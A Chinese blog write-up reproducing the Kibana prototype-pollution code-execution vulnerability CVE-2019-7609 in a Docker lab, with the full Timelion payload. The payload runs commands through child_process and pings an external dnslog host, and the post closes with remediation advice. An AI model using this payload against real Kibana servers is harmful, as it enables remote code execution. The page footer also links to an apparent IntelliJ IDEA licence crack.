kibana 代码执行 (CVE-2019-7609)

news2024/11/28 8:35:06

漏洞原理

“原型污染”是一种针对JS语言开发的攻击方法。JS语言中,每一个对象都是有其原型(proto)的,而该原型又有其自己的原型对象,直到某个对象的原型为null。而如果JS对其中定义的对象原型的属性读写缺乏控制,容易让攻击者操纵一些敏感特征,从而实现攻击者的目的。
该漏洞就是是一个由于JS语言的“原型污染”,导致靶机环境量被污染,最终获得shell执行的漏洞。

漏洞影响范围

5.6.15<=Kibana<=6.6.1

漏洞复现过程

启动docker环境。
在这里插入图片描述
打开对应的kibana服务页面。
在这里插入图片描述
点击Timelion功能,修改其中的下方图片中红线标记的内容。
在这里插入图片描述

修改内容并点击右三角符号进行应用。然后点击Canvas即可触发payload。
在这里插入图片描述
在这里插入图片描述
成功触发payload在/tmp目录下生成t.txt文件。

在这里插入图片描述

payload:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("ping    6b7s7k.dnslog.cn  -c 3");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

在这里插入图片描述
在这里插入图片描述

注意

在复现过程中,触发后响应较慢,可能是我虚拟机的问题,也可能是kibana环境本身就是这样,具体情况未知。但在dnslog记录中几乎相差了一分钟左右的时间,才看到记录。
(在docker启动前,需要提前看下docker对应漏洞目录中的README文件,需要修改配置。)

修复建议

该漏洞的利用在满足版本的前提下,需要满足两个条件才会触发该漏洞。
首先kibana服务一般开放在外网之中,并且该漏洞的利用还需要弱口令登录才可以。
1、版本及时升级
2、不要让Kibana的Timelion页面暴露于公网,并检查是否存在使用弱口令登录的情况。

参考链接

cve-2019-7609 Kibana远程代码执行漏洞攻击方法和漏洞原理分析:https://blog.csdn.net/whatday/article/details/107879556
CVE-2019-7609:Kibana远程代码执行漏洞复现:https://blog.csdn.net/zy15667076526/article/details/109706962

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/524486.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

进程程序替换+简易版shell实现

索引 进程程序替换如何进行程序替换不同程序替换函数之间的区别系统接口调用其他语言的函数替换函数execle 简易版shell实现 进程程序替换 什么是进程程序替换&#xff1f; 指在一个正在运行的进程中&#xff0c;将原来的程序替换成新的程序的过程。 eg&#xff1a;如果我们想…

I IntelliJ IDEA 2023.1 最新解锁方式,支持java20,让Coding飞一会儿

IntelliJ IDEA 2023.1 最新变化 在 IntelliJ IDEA 2023.1 中&#xff0c;我们根据用户的宝贵反馈对新 UI 做出了大量改进。 我们还实现了性能增强&#xff0c;从而更快导入 Maven&#xff0c;以及在打开项目时更早提供 IDE 功能。 新版本通过后台提交检查提供了简化的提交流程…

Android不基于第三发依赖包解析shp文件(2)

接着上篇文章继续 2)Point (点)   一个 Point 由一对双精度坐标组成,存储顺序为 X,Y。    /*** PointGeometry记录读取* */static Geometry renderPointGeometry(byte[] recordContent,GeometryFactory geometryFactory) {int shapetype2

N轴机械臂的MDH正向建模,及python算法

目录 一、前言二、三维空间的坐标系变换三、MDH建模要点四、MDH的变换矩阵推导五、机械臂MDH的python模型六、python源码 一、前言 如果机器人工程师缺乏机器人学理论的支撑和足够的认识&#xff0c;那么随着机器人项目的深入推进&#xff0c;可能会越走越艰难&#xff0c;所谓…

【Lambda】集合的Lambda表达式

【Lambda】集合的Lambda表达式 【一】Stream的方法介绍【1】Stream里常用的方法【2】collect(toList()) & filter【3】map【4】flatMap【5】max&min【6】reduce 【二】常用案例总结【1】准备方法查询数据库获取List结果【2】取值【3】分组【4】去重【5】排序【6】list的…

uniapp制作水印相机给图片添加水印并且保存图片至本地

uniapp保存文件的三种方式 文件主要分为两大类&#xff1a; 1.代码包文件&#xff1a;代码包文件指的是在项目目录中添加的文件。 2.本地文件&#xff1a;通过调用接口本地产生&#xff0c;或通过网络下载下来&#xff0c;存储到本地的文件。 其中本地文件又分为三种&#…

【K8s】Service详解

文章目录 一、Service介绍1、认识Service2、kube-proxy的三种工作模式3、Service的类型 二、Service的使用1、实验数据准备2、Service类型为ClusterIP补充&#xff1a;Endpoints补充&#xff1a;负载分发策略 3、Service类型为HeadLiness3、Service类型为NodePort4、Service的类…

Ovito渲染技巧之体系边界识别

关注 M r . m a t e r i a l , \color{Violet} \rm Mr.material\ , Mr.material , 更 \color{red}{更} 更 多 \color{blue}{多} 多 精 \color{orange}{精} 精 彩 \color{green}{彩} 彩&#xff01; 主要专栏内容包括&#xff1a; †《LAMMPS小技巧》&#xff1a; ‾ \textbf…

性能、性能还是性能---下一代Android性能框架分析

性能优化的重要性和难度毋庸置疑&#xff0c;事实上&#xff0c;性能优化也是一个永无止境的游戏&#xff0c;总会发现有一些东西需要优化。但是不可避免的是&#xff0c;这也是一个边际效益递减的事情&#xff0c;项目或应用获得的收益在一定程度上也会逐渐降低。What’s new …

ReentrantLock 原理

目录 ReentrantLock 概述 ReentrantLock 的原理 什么是 AQS ? 获取锁资源(以⾮公平锁为例) tryAcquire addWaiter acquireQueued 释放锁资源 ⾮公平锁体现在哪⾥&#xff1f; 调试代码 总结 ReentrantLock 概述 ReentrantLock是Lock接⼝的默认实现&#xff0c;是⼀…

【Linux】-关于Linux的指令(下)

&#x1f496;作者&#xff1a;小树苗渴望变成参天大树 ❤️‍&#x1fa79;作者宣言&#xff1a;认真写好每一篇博客 &#x1f4a8;作者gitee:gitee &#x1f49e;作者专栏&#xff1a;C语言,数据结构初阶,Linux,C 文章目录 前言一、时间相关的指令二、cal指令三、find -name指…

Centos7 经典模式安装GBase 8s 图文教程

Centos7安装GBase 8s 图文教程 前言1.1 硬件要求1.2 系统要求1.3 虚拟 PC 软件1.4 安装及配置数据库服务器1.4.1 创建 gbasedbt 组和用户1.4.2 创建 GBase 8s 数据库安装目录1.4.3 上传并解压安装包1.4.4 执行安装 参考文献 前言 本篇博文分享如何在Centos7 x86架构的系统中安…

第2章-Selenium-API操作

目标&#xff1a; 1. 熟练应用八种元素定位方式 2. 掌握对元素和浏览器的操作方法 3. 掌握键盘鼠标的操作 4. 掌握元素等待的操作 5. 掌握下拉选择框、 警告框和滚动条的操作 6. 掌握如何切换frame框架和多窗口 7. 掌握如何实现窗口截图 1.元素定位 1. 掌握id、 name、 cla…

【leetcode】622 二叉树的最大宽度

题目描述 给你一棵二叉树的根节点 root &#xff0c;返回树的 最大宽度 。 树的 最大宽度 是所有层中最大的 宽度 。 每一层的 宽度 被定义为该层最左和最右的非空节点&#xff08;即&#xff0c;两个端点&#xff09;之间的长度。将这个二叉树视作与满二叉树结构相同&#…

MATLAB 之 M 文件和程序控制结构(顺序、选择、循环)

文章目录 一、M 文件1. M 文件的建立与打开1.1 建立新的 M 文件1.2 打开已有的 M 文件 2. M 文件的分类 二、 程序控制之顺序结构1. 数据的输入2. 数据的输出3. 程序的暂停 三、程序控制之选择结构1. if 语句2. switch 语句3. try 语句 四、程序控制之循环结构1. for 语句2. wh…

畸变像差校正技术(畸变相位补偿)发展现状及其仿真实验研究-技术汇总-Matlab代码

▒▒本文目录▒▒ 一、引言二、物理方法2.1 基于二次曝光法的畸变像差补偿仿真实验验证 三、数值方法3.1 基于主成分分析法的畸变像差补偿仿真实验验证3.2 基于标准多项式拟合法的畸变像差校正仿真实验验证3.3 基于最小二乘拟合法的畸变像差校正仿真实验验证3.4 基于泽尼克多项…

Simulink 自动代码生成电机控制——永磁同步电机参数获取

目录 前言 极对数测量 电阻测量&#xff08;Rs&#xff09; 电感测量&#xff08;Ld和Lq&#xff09; 磁链测量 总结 前言 在建模之前或者需要更换一个新电机&#xff0c;需要获取目标电机的电气参数&#xff0c;如果参数不对&#xff0c;对于电流环参数的整定&#xff0…

2023/05/08~14 刷题记录

A - Plus and Multiply 题意&#xff1a; 题解&#xff1a; 题目说可以将集合里面的数字 *a 或者 b 操作&#xff0c;并将新的值放进集合中&#xff0c;首先想到 dfs 暴力求解&#xff0c;但是太暴力了&#xff0c;直接 时间超限 。通过观察我们可以知道&#xff0c;要求 n 是否…

前端模块化

什么是模块化 事实上模块化开发最终目的是将程序划分成一个个小的结构在这个结构中编写属于自己的逻辑代码&#xff0c;有自己的作用域&#xff0c;不会影响到其他的结构这个结构可以将自己希望暴露的变量、函数、对象等导出给其他结构使用。可以通过某种方式&#xff0c;导入…

电脑软件:国内最好用解压缩软件 7-Zip 新版本发布

5 月 9 日消息&#xff0c;7-Zip 是一款拥有极高压缩比的的开源压缩软件&#xff0c;支持 LZMA2 等 7 种开源算法&#xff0c;以及支持较广泛的压缩格式 .7z&#xff0c;体积不大&#xff08;1.5MB&#xff09;、功能完善&#xff0c;除了默认 UI 不符合国内审美外几乎没什么可…